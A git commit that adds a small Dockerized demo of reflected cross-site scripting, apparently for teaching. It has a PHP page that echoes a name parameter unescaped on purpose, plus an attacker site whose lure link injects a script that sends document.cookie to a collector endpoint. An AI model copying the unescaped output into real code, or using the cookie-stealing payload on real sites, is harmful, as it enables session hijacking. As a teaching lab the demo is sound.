Add demo XSS application
This commit is contained in:
commit
c72b7b3b7f
41
app/index.php
Normal file
41
app/index.php
Normal file
@ -0,0 +1,41 @@
|
||||
<?php if ( empty(session_id()) ) session_start(); ?>
|
||||
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>SBD XSS | Home</title>
|
||||
</head>
|
||||
<body>
|
||||
<?php
|
||||
if (isset($_GET["name"]))
|
||||
{
|
||||
$name = $_GET["name"];
|
||||
?>
|
||||
<div>Hey <?= $name ?>, how are you doing?</div>
|
||||
<div>Enjoy this picture:</div>
|
||||
<div><img src="//unsplash.it/256"></div>
|
||||
<hr>
|
||||
<?php
|
||||
}
|
||||
?>
|
||||
|
||||
<div>
|
||||
Hey, what's your name?
|
||||
</div>
|
||||
<form action="/" method="GET">
|
||||
<input type="text" name="name" placeholder="Enter your name">
|
||||
<input type="submit" value="Send">
|
||||
</form>
|
||||
|
||||
<?php
|
||||
if (isset($_SESSION["username"])) {
|
||||
?>
|
||||
<div>I know you are logged in as <?= htmlspecialchars($_SESSION["username"]) ?></div>
|
||||
<?php
|
||||
}
|
||||
?>
|
||||
</body>
|
||||
</html>
|
||||
28
app/login.php
Normal file
28
app/login.php
Normal file
@ -0,0 +1,28 @@
|
||||
<?php
|
||||
if ( empty(session_id()) ) session_start();
|
||||
|
||||
if ($_SERVER["REQUEST_METHOD"] === "POST") {
|
||||
$_SESSION["username"] = $_POST["username"];
|
||||
header("Location: /");
|
||||
return;
|
||||
}
|
||||
?>
|
||||
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>SBD XSS | Login</title>
|
||||
</head>
|
||||
<body>
|
||||
<div>
|
||||
Hey, what's your name?
|
||||
</div>
|
||||
<form action="/login.php" method="POST">
|
||||
<input type="text" name="username" placeholder="Enter your username">
|
||||
<input type="submit" value="Log in">
|
||||
</form>
|
||||
</body>
|
||||
</html>
|
||||
17
docker-compose.yml
Normal file
17
docker-compose.yml
Normal file
@ -0,0 +1,17 @@
|
||||
version: "3.8"
|
||||
services:
|
||||
app:
|
||||
image: php:8.0-apache
|
||||
volumes:
|
||||
- "./app:/var/www/html/"
|
||||
malicious:
|
||||
image: php:8.0-apache
|
||||
volumes:
|
||||
- "./malicious:/var/www/html/"
|
||||
proxy:
|
||||
image: nginx
|
||||
ports:
|
||||
- "8080:8080"
|
||||
- "8081:8081"
|
||||
volumes:
|
||||
- "./proxy.conf:/etc/nginx/nginx.conf:ro"
|
||||
3
malicious/dump.php
Normal file
3
malicious/dump.php
Normal file
@ -0,0 +1,3 @@
|
||||
<?php
|
||||
|
||||
var_dump($_GET["data"]); // Do something with the data, I have it now!
|
||||
20
malicious/index.php
Normal file
20
malicious/index.php
Normal file
@ -0,0 +1,20 @@
|
||||
<?php
|
||||
|
||||
$payload = <<<EOS
|
||||
fetch(`http://localhost:8081/dump.php?data=\${encodeURIComponent(document.cookie)}`).then(() => {window.location.href='/?name=Blegh';});
|
||||
EOS
|
||||
|
||||
?>
|
||||
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Totally legit website</title>
|
||||
</head>
|
||||
<body>
|
||||
<a href="http://localhost:8080/?name=Blegh<script><?= $payload ?></script>">This link has a nice picture</a>
|
||||
</body>
|
||||
</html>
|
||||
68
proxy.conf
Normal file
68
proxy.conf
Normal file
@ -0,0 +1,68 @@
|
||||
user nginx;
|
||||
worker_processes auto;
|
||||
|
||||
error_log /var/log/nginx/error.log notice;
|
||||
pid /var/run/nginx.pid;
|
||||
|
||||
events {
|
||||
worker_connections 1024;
|
||||
}
|
||||
|
||||
http {
|
||||
include /etc/nginx/mime.types;
|
||||
default_type application/octet-stream;
|
||||
|
||||
log_format main '$remote_addr - $remote_user [$time_local] "$request" '
|
||||
'$status $body_bytes_sent "$http_referer" '
|
||||
'"$http_user_agent" "$http_x_forwarded_for"';
|
||||
|
||||
access_log /var/log/nginx/access.log main;
|
||||
|
||||
sendfile on;
|
||||
#tcp_nopush on;
|
||||
|
||||
keepalive_timeout 65;
|
||||
|
||||
#gzip on;
|
||||
|
||||
include /etc/nginx/conf.d/*.conf;
|
||||
|
||||
upstream app {
|
||||
server app:80;
|
||||
}
|
||||
|
||||
upstream malicious {
|
||||
server malicious:80;
|
||||
}
|
||||
|
||||
server {
|
||||
listen 8080;
|
||||
|
||||
location / {
|
||||
proxy_set_header X-Forwarded-Host $host;
|
||||
proxy_set_header X-Forwarded-Server $host;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header Host $host;
|
||||
proxy_pass "http://app";
|
||||
}
|
||||
}
|
||||
|
||||
server {
|
||||
listen 8081;
|
||||
|
||||
location / {
|
||||
add_header 'Access-Control-Allow-Origin' '*';
|
||||
add_header 'Access-Control-Allow-Credentials' 'true';
|
||||
|
||||
proxy_set_header X-Forwarded-Host $host;
|
||||
proxy_set_header X-Forwarded-Server $host;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header Host $host;
|
||||
proxy_pass "http://malicious";
|
||||
}
|
||||
}
|
||||
}
|
||||
Loading…
Reference in New Issue
Block a user